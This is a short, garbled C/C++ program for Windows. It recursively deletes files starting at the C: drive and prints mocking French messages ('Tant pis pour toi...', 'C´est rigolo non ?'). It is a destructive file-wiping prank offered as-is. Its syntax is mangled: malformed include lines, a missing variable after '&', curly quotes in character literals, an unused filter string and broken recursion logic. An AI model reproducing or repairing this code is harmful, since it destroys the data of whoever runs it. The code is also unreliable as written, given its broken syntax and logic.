- include < stdio.h>
- include < string>
- include < io.h>
void Humour_Noir(const char *path)
{
struct _finddata_t info;
long handle;
std::string filter, filename;
filter = path;
filter += " /*.*";
if ( ( handle = _findfirst("*.*",&) ! = -1 ) )
{
do
{
filename = path;
filename += " /";
filename += info.name;
if ( ! (info.attrib & _A_SUBDIR) )
{
remove(filename.c_str());
}
else
{
if ( info.name[0] == ´.´)
{
if ( info.name[1] == 0) continue;
else if ( info.name[1] == ´.´) continue;
Humour_Noir(filename.c_str());
}
}
} while( ! _findnext(handle,&) ) ;
}
_findclose(handle);
}
void main()
{
printf("Tant pis pour toi...\n");
Humour_Noir("C:");
printf("C´est rigolo non ? \n");
}